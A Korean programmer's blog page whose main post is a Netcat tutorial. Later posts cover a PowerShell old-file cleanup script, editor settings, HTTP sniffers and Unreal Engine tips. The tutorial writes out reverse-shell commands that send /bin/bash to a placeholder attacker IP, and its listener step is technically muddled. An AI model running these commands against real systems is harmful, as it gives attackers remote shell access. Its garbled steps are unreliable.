::: 책 읽는 프로그래머 :::

가장 잘 알려진 해킹 도구 중 하나인 Netcat를 소개합니다! 보안 테스트, 모의 침투 테스트, 해킹!

KSI — Fri, 20 Sep 2024 10:06:27 +0900

해킹 도구는 사이버 보안 분야에서 항상 관심의 대상이 되어 왔습니다. 해킹 도구는 공격과 방어 모두에 사용될 수 있습니다. 이 글에서는 잘 알려진 해킹 도구인 Netcat에 대해 알아보겠습니다.

1. 넷캣이란 무엇인가요?

“네트워킹의 스위스 아미 나이프” 또는 줄여서 nc라고도 불리는 Netcat은 다양한 기능을 갖춘 네트워킹 도구입니다. 초기 버전은 네트워크를 통해 데이터를 전송하기 위한 간단한 TCP/IP 도구였습니다. 시간이 지나면서 넷캣은 TCP와 UDP를 비롯한 다양한 네트워크 프로토콜을 지원하고 네트워크 연결, 데이터 전송, 포트 검색, 리버스 셸 및 기타 여러 기능을 위해 로컬과 원격 컴퓨터 간에 데이터를 전송할 수 있는 강력한 네트워킹 도구로 발전해 왔습니다. 본질적으로 네트워크 환경에서 다양하고 복잡한 작업을 수행할 수 있는 스위스 아미 나이프와 같습니다.

2. 넷캣 주요 기능

넷캣은 네트워크 보안 분야에서 “스위스 아미 나이프”로 알려져 있으며 다음과 같은 기능과 특징을 가지고 있습니다:

1. 네트워크 연결

넷캣은 네트워크 통신을 위한 TCP 또는 UDP 연결을 생성할 수 있습니다. 간단한 채팅 프로그램이든 복잡한 네트워크 데이터 전송이든 Netcat은 쉽게 처리할 수 있습니다. 간단한 명령을 통해 사용자는 두 컴퓨터 간에 연결을 설정하여 실시간 데이터 전송을 달성할 수 있습니다.

2. 데이터 전송

넷캣은 파일 전송 기능을 지원하여 사용자가 넷캣을 통해 두 컴퓨터 간에 파일을 전송할 수 있습니다. 이 기능은 네트워크 관리자와 해커가 서로 다른 컴퓨터 간에 파일을 쉽게 공유할 때 매우 유용합니다.

3. 포트 스캔

사용자가 대상 컴퓨터에서 열려 있는 포트를 찾을 수 있도록 포트 스캔에도 Netcat을 사용할 수 있습니다. 특정 범위의 포트를 스캔함으로써 사용자는 대상 컴퓨터에서 실행 중인 서비스를 파악한 다음 보안 평가 또는 취약점 악용을 수행할 수 있습니다.

4. 리버스 셸

모의 침투 테스트에서 넷캣은 종종 대상 컴퓨터가 역방향 연결을 통해 공격자의 컴퓨터에 능동적으로 연결하여 방화벽 및 NAT와 같은 제한을 우회하여 원격 제어를 달성하는 리버스 셸을 만드는 데 사용됩니다. 이 기능은 해커에게 특히 중요하며 모의 침투 테스트의 성공률을 크게 향상시킬 수 있습니다.

5. 암호화된 통신

Netcat 자체는 암호화를 제공하지 않지만, 사용자는 다른 도구(예: OpenSSL)와 결합하여 암호화된 통신을 달성할 수 있습니다. 암호화된 통신을 통해 사용자는 전송된 데이터의 보안을 보호하여 데이터가 가로채이거나 변조되는 것을 방지할 수 있습니다.

3. 넷캣 적용 시나리오

네트워크 보안 테스트, 침투 테스트: 네트워크 보안 테스트에서 Netcat은 포트 스캔, 취약성 평가, 침투 테스트 및 기타 측면에 사용할 수 있습니다. 테스터는 Netcat을 통해 대상 시스템의 보안 상태를 완전히 이해하고 잠재적인 보안 위험을 찾을 수 있습니다.
시스템 관리: Netcat은 시스템 관리자에게 매우 유용한 도구입니다. 컴퓨터를 원격으로 관리하고, 셸 명령을 실행하고, 컴퓨터를 재부팅하고, 기타 작업을 수행하는 데 사용할 수 있습니다. 또한, 네트워크 트래픽 모니터링, 네트워크 프로그램 디버깅 등에도 Netcat을 사용할 수 있습니다.
해킹: 해킹은 불법이지만 해킹 도구의 사용법과 원리를 이해하는 것은 네트워크 보안 인식을 개선하는 데 중요하며, 해커가 사용하는 일반적인 도구 중 하나인 Netcat은 강력한 기능과 유연성을 갖추고 있어 해킹 공격에서 중요한 무기가 될 수 있습니다. 하지만 넷캣과 같은 해킹 도구를 합법적이고 윤리적인 방식으로 사용할 것을 강조합니다.

4. 넷캣 설치

Netcat은 일반적으로 대부분의 Linux 배포판에 사전 설치되어 있습니다. 설치되어 있지 않은 경우 패키지 관리자를 통해 설치할 수 있습니다. 예를 들어, 데비안/우분투 시스템에서는 다음 명령을 사용하여 Netcat을 설치할 수 있습니다:

sudo apt-get update  
sudo apt-get install netcat

macOS에서는 Homebrew를 사용하여 설치할 수 있습니다:

brew install netcat

5. 넷캣 사용

Netcat의 기본 구문은 다음과 같습니다:

NC [옵션] [대상 호스트] [대상 포트]

옵션과 매개변수는 특정 작업에 맞게 조정할 수 있습니다.

예 1: TCP 연결 만들기

넷캣은 모든 유형의 TCP 또는 UDP 연결을 생성할 수 있습니다. 즉, 기본 채팅 서버, 프록시 또는 사용자 지정 프로토콜 에뮬레이터를 설정하는 데 사용할 수 있습니다. 예를 들어, 사용자는 간단한 명령어를 사용하여 TCP 포트 수신 및 데이터 전송을 구현할 수 있습니다:

1단계: 수신 모드 시작하기

컴퓨터에서 터미널을 열고 다음 명령을 실행하여 수신 대기 서비스를 시작합니다:

nc -l -p 12345

여기서 -l은 수신 모드를 나타내고 -p 12345는 수신 포트가 12345임을 지정합니다.

2단계: 수신 호스트에 연결하기

다른 컴퓨터에서 다음 명령을 사용하여 수신 호스트에 연결합니다(IP가 192.168.1.100이라고 가정):

nc 192.168.1.100 12345

연결이 성공하면 어느 터미널에서나 텍스트를 입력할 수 있으며, 상대방에게 실시간으로 표시됩니다.

예 2: 파일 전송

넷캣은 파일 전송 기능을 지원하며, 기본 사용법은 다음과 같습니다:

(1) 보내는 쪽에서 다음 명령을 실행하여 파일을 전송합니다:

nc -w 2 target_ip port < file.txt

(2) 수신 측에서 다음 명령을 실행하여 파일을 수신합니다:

nc -lvp port > file.txt

여기서 -w 매개변수는 시간 초과 기간을 나타내고 포트는 포트 번호를 나타내며 file.txt는 전송할 파일입니다.

구체적인 작업

1단계: 파일 보내기

수신 측 컴퓨터에서 다음 명령을 사용하여 파일을 받을 준비를 합니다:

nc -l -p 12345 > received_file.txt

2단계: 파일 보내기

다른 컴퓨터에서 다음 명령을 사용하여 파일을 보냅니다:

nc 192.168.1.100 12345 < file_to_send.txt

여기서 file_to_send.txt는 전송하려는 파일의 이름입니다. 수신자의 터미널에서 received_file.txt 파일을 확인하여 파일 전송이 성공했는지 확인합니다.

예 3: 포트 스캔

포트 스캔은 네트워크 보안 테스트의 기본입니다. netcat은 대상 호스트의 열린 포트를 빠르게 스캔하여 사용자가 잠재적인 보안 위험을 찾을 수 있도록 도와줍니다. 다음은 간단한 포트 스캔 예제입니다:

nc -zv target_ip 1-1000

이 명령은 대상 IP 주소의 포트 1-1000을 스캔하고, -z 매개변수는 전체 연결 없이 포트 개구부만 스캔하며, -v 매개변수는 상세 정보 표시를 나타냅니다.

대상 호스트의 포트를 스캔하려면 다음 명령을 사용합니다(예: 192.168.1.100):

nc -zv 192.168.1.100 1-1000

여기서 -z는 스캔 모드를 나타내며 데이터가 전송되지 않고, -v는 자세한 정보를 표시합니다. 스캔 결과에는 열려 있는 포트가 표시됩니다.

예 4: 리버스 셸 만들기

예를 들어 다음 명령을 사용하여 리버스 셸을 매우 쉽게 만들 수 있습니다:

nc -nv <공격자 IP> <공격자 포트> -e /bin/bash

이 리버스 셸은 해커가 대상 시스템에서 임의의 명령을 실행하는 데 자주 사용됩니다.

1단계: 리버스 셸 듣기

공격자의 컴퓨터에서 터미널을 열고 입력합니다:

nc -l -p 4444 -e /bin/bash

2단계: 리버스 셸 연결

공격받은 컴퓨터에서 다음 명령을 입력합니다:

nc [공격자 IP] 4444 -e /bin/bash

연결에 성공하면 공격자는 공격 대상 컴퓨터에 대한 셸 액세스 권한을 얻을 수 있습니다.

예 5: 원격 제어

Netcat은 간단한 원격 제어 기능을 제공합니다. 다음은 그 예시입니다:

대상 호스트에서 다음 명령을 실행하여 수신을 활성화합니다:

nc -lvp port

공격 호스트에서 다음 명령을 실행하여 대상 호스트에 연결합니다:

nc target_ip port

연결에 성공하면 공격 호스트는 대상 호스트를 제어하기 위한 명령을 보낼 수 있습니다.

6, 요약

넷캣은 강력한 네트워크 도구로서 네트워크 보안 테스트에서 중요한 역할을 할 뿐만 아니라 악의적인 행동을 방지하기 위해 현명하게 사용해야 합니다. 네트워크 보안 전문가의 경우, Netcat 사용에 대한 깊은 이해와 숙달은 공격과 방어의 대결에서 유리한 위치를 점할 수 있습니다.

하지만 넷캣은 양날의 검이라는 점을 강조할 필요가 있습니다. 넷캣의 강력한 성능과 유연성에도 불구하고 악의적으로 악용될 가능성도 똑같이 높습니다. 따라서 네트워크 보안 전문가에게 Netcat 사용법을 숙달하는 것은 네트워크 보안을 보장하는 중요한 수단인 동시에 자신의 기술을 향상시키는 중요한 방법이기도 합니다.

Visual Studio 자동 괄호 옵션 끄기

KSI — Sat, 20 Apr 2024 09:08:21 +0900

특정 날짜 기준 파일 삭제 PowerShell Script

KSI — Tue, 10 May 2022 18:00:54 +0900

Start-Transcript -path "C:\PowerShellScript\LOG.txt" -Append
Get-ChildItem -path "C:\Temp\*.*" | Where-Object {($_.LastWriteTime -lt (Get-Date).AddDays(-15))} | Remove-Item
Get-ChildItem -path "C:\Temp\*.*" | Where-Object {($_.LastWriteTime -lt (Get-Date).AddDays(-15))} | Remove-Item
Get-ChildItem -path "C:\Temp\*.*" | Where-Object {($_.LastWriteTime -lt (Get-Date).AddDays(-15))} | Remove-Item
Stop-Transcript

Visual studio code autopep8 max-line

KSI — Fri, 30 Apr 2021 21:12:34 +0900

"Searched all visual studio code settings"

{ 
  "python.linting.pep8Enabled": true,
  "python.linting.pep8Args": ["--max-line-length=120" ]
}

HTTPNetworkSniffer v1.63

KSI — Tue, 14 Jul 2020 13:03:29 +0900

HTTPNetworkSniffer v1.63

https://www.nirsoft.net/utils/http_network_sniffer.html

HTTPNetworkSniffer - http sniffer utility

HTTPNetworkSniffer v1.63 Copyright (c) 2011 - 2018 Nir Sofer See Also NetworkTrafficView - Monitor the traffic on your network adapter. NK2Edit - Edit, merge and repair the AutoComplete files (.NK2) of Microsoft Outlook. Description HTTPNetworkSniffe

www.nirsoft.net

Description
HTTPNetworkSniffer is a packet sniffer tool that captures all HTTP requests/responses sent between the Web browser and the Web server and displays them in a simple table. For every HTTP request, the following information is displayed: Host Name, HTTP method (GET, POST, HEAD), URL Path, User Agent, Response Code, Response String, Content Type, Referer, Content Encoding, Transfer Encoding, Server Name, Content Length, Cookie String, and more...
You can easily select one or more HTTP information lines, and then export them to text/html/xml/csv file or copy them to the clipboard and then paste them into Excel.

httpnetworksniffer-x64.zip

0.12MB

EffeTech HTTP Sniffer

KSI — Tue, 14 Jul 2020 12:30:20 +0900

EffeTech HTTP Sniffer

http://effetech.com/sniffer/

HTTP Sniffer - A HTTP packet sniffer and analyzer to capture HTTP traffic and rebuild HTTP files.

EffeTech HTTP Sniffer is a HTTP packet sniffer, protocol analyzer and file reassembly software based on windows platform. Unlike most other sniffers, it is dedicated to capture IP packets containing HTTP protocol, rebuild the HTTP sessions, and reassemble

effetech.com

Features
Real-time Packet Analyzer
Parse and decode HTTP protocol. Enable on-the-fly content viewing while capturing and analyzing.
Powerful HTTP File Rebuilder
Recognize the reconstructed stream of each TCP session. Through analyzing HTTP packets in the same TCP

connection, reassemble the original files transfered by HTTP protocol. You can easily view and save the

rebuilt files.
Support Various File Type
Currently support HTML, XML, GIF, JPG, Flash, Zip, Exe and etc.
Powerful Packet-capturing Filter
Provide a flexible mechanism to monitor specific target host and file types.
Exact Timestamp
Exactly record who have visited where and when.
Customized Logging
Export LOG file as HTML or customized CSV format.

EffeTechHTTPSniffer.exe

2.11MB

The Legend of the Blueprint Icons

KSI — Wed, 2 Oct 2019 10:57:52 +0900

Anybody who has worked on an Unreal Engine 4 project has likely had to open the Blueprint Editor at one point or another. Now if you’re anything like me, I found most of the UI pretty straightforward and weirdly intuitive. But there’s one part of the UI that continues to baffle newbies as well as veteran developers: The icons that sometimes appear in the upper-right corner of the Blueprint nodes.

I spent some time sleuthing in an attempt to create a solid explanation for each of the seven icons that you might run into. I organized these in a kind of beginner-to-advanced order so hopefully your eyes won’t glaze over until at least halfway down the page. And without further ado I give you the…

Blueprint Icon Legend

Authority Only – Executes on the network authority. This simply means that the node will only execute on a Listen Server, Dedicated Server, or Standalone instance of the Engine.

UFUNCTION(BlueprintCallable, BlueprintAuthorityOnly)

void DealDamage(float Damage);

Client Event – Executes on all instances of the Engine except Dedicated Servers.

UFUNCTION(BlueprintCallable, BlueprintCosmetic)

void PlayDamageEffects(float DamageCaused, bool bWasCriticalHit);

Replicated – This shows up on any Properties that are flagged as being Replicated.

UPROPERTY(BlueprintReadOnly, Replicated)

float Stamina;

UPROPERTY(BlueprintReadOnly, ReplicatedUsing=OnRep_CurrentHealth)

float CurrentHealth;

Latent – This shows up whenever a Blueprint node will take multiple frames to finish its execution. It will show up for any Blueprint node that has been identified as being an asynchronous task, or a function that has been marked as being Latent or a Blueprint Macro that contains at least one Latent node in it.

More Advanced Icons

I’m not going to discuss what Interfaces are or what IF_EDITORONLY_DATA means, but if you’ve ever come across any of the following icons and wondered what they were for, hopefully this helps.

Interface Event – This icon indicates that we are receiving the event through our implemented Interface (either a native Interface or a Blueprint Interface) and the Interface function declaration has no return value. Because there is no need to return a value, the Interface function is handled like any other Event in the Event Graph except that it will have this icon at the top-right corner.

/**

* The native Interface declarations.

class MYGAME_API IMyNativeInterface

{

GENERATED_BODY()

public:

UFUNCTION(BlueprintImplementableEvent)

void MyNativeInterfaceEvent(float FloatParam, FVector VectorParam);

UFUNCTION(BlueprintImplementableEvent)

FString MyNativeInterfaceFunction(float FloatParam, FVector VectorParam);

};

The native Interface event definition.

The native Interface function definition. There’s no need here for any special icon because the Interface function definitions show up in the “Interfaces” section of the “My Blueprint” tab, which makes them easy to identify.

For completeness here is the same example, but using a Blueprint Interface declaration instead of a native declaration:

The Blueprint Interface event declaration.

The Blueprint Interface function declaration.

The Blueprint Interface event definition.

The Blueprint Interface function definition. Again, there’s no need here for any special icon because the Interface function definitions show up in the “Interfaces” section of the “My Blueprint” tab.

Message – This icon shows up when attempting to call an Interface function on a UObject Target that may or may not implement the Interface that the function is a part of. The envelope is intended to represent a message (versus a direct function call), which may or may not cause the UObject Target instance to handle it depending on whether or not that UObject Target implements the Interface that the function is declared in. If the Blueprint already knows that the Target implements the Interface, there will not be a special icon since at that point it would behave like any normal function call.

Sending a Message to My Object containing a Float and Vector payload. If My Object implements the native Interface that can handle this Message, it will be called, otherwise it will not.

Sending a Message to My Object containing a Float and Vector payload. If My Object implements the native Interface that can handle this Message, it will be called and return the appropriate value, otherwise it will not get called.

For completeness here are the Blueprint Interface versions of sending a Message for an event as well as for a function.

Sending a Message to My Object containing a Float and Vector payload. If My Object implements the Blueprint Interface that can handle this Message, it will be called, otherwise it will not.

Sending a Message to My Object containing a Float and Vector payload. If My Object implements the Blueprint Interface that can handle this Message, it will be called and return the appropriate value, otherwise it will not get called.

Editor Only – This appears on Properties that are contingent on the WITH_EDITORONLY_DATA compiler directive.

#if WITH_EDITORONLY_DATA

UPROPERTY(BlueprintReadOnly)

float EditorZoom;

#endif

Happy Blueprinting

So I hope that at least sheds some light on the meaning of those icons. Feel free to comment, especially if you have something to add!

출처 - https://www.mmbalto.com/2019/02/08/the-legend-of-the-blueprint-icons/

Using CTRL+W to close tabs in Visual Studio

KSI — Thu, 29 Aug 2019 15:33:42 +0900

In Tools | Options | Keyboard...

Add CTRL+W as a Global shortcut for Window.CloseDocumentWindow
Remove the CTRL+W shortcut for Edit.SelectCurrentWord

The caveat to this is if you are used to using CTRL+W to select the current word. If you do, find another shortcut that works for that.

언리얼4 엔진 네트워킹 개요서

KSI — Wed, 12 Jun 2019 14:16:03 +0900

UE4_Network_Compendium_by_Cedric_eXi_Neukirchen.pdf

2.11MB

UE4 카메라 Shake (카메라 흔들기)

KSI — Mon, 13 May 2019 11:22:54 +0900

근처에서 폭발이 일어나거나, 큰 몬스터가 움직일 때 또는 무거운 것을 움직일 때
게임에서 카메라를 흔드는 연출이 자주 사용됩니다.
이번에는 UE4 기능을 사용하여 카메라 진동을 발생시키는 방법을 소개합니다.

1. CameraShake 청사진을 마련

ContentBrowser에서 CameraShake를 부모로서 상속 받습니다.
여기에 카메라 진동의 매개 변수를 설정하는 것입니다.
이번에는 "MyCameraShake '라는 이름으로 만듭니다.

2. 매개 변수를 설정

블루 프린트를 열고 오른쪽 상단의 탭에서 "Defaults"를 선택하고 필요한 매개 변수를 설정합니다.
기본적으로 필요한 파라미터가 모두 제로여서, 아무것도 진동하지 않습니다.

Single Instance 같은 CameraShake을 여러 번 사용했을 때 ON 인 경우 하나, OFF이면 겹쳐 진동이 재생됩니다. 이번에는 ON으로 설정합니다.

Oscillation Duration 진동 시간입니다. 초 단위로 설정합니다.

Rot Oscillation 회전에 의한 진동, Loc Oscillation 이동에 의한 진동, FOVOscillation 화각에 의한 진동입니다. 이 값을 사용하여 진동을 조정합니다.

Rot Oscillation은 Yaw, Pitch, Roll, Loc Oscillation는 X, Y, Z 각 축별로 각각 나누어져 있습니다.
그 안에있는 Amplitude 진동의 강도, Frequency 진동의 속도입니다.

이번에는 Rot Oscillation의 각 축에 Amplitude = 1.0, Frequency = 100.0를 지정합니다.

3. 흔들 싶을 때 카메라 진동 호출

이번에는 Level Blueprint에서 키보드의 Z 키를 눌렀을 때 진동을 발생시킵니다.
"Get Player Controller"에서 "Client Play Camera Shake"노드를 연결하여 호출합니다.

"Shake"에 여러분이 만든 "MyCameraShake"를 지정합니다.
기본적으로 선택에 나오는 "CameraShake"매개 변수가 모두 제로이므로 진동하지 않습니다.
"Scale"의 값을 1.0으로 설정합니다. 이것은 진동의 크기의 배율입니다. 기본적으로 제로로 설정되어 있어 그대로는 진동하지 않습니다.

이제 카메라 진동이 완성입니다!
게임을 시작하고 Z를 눌러보세요!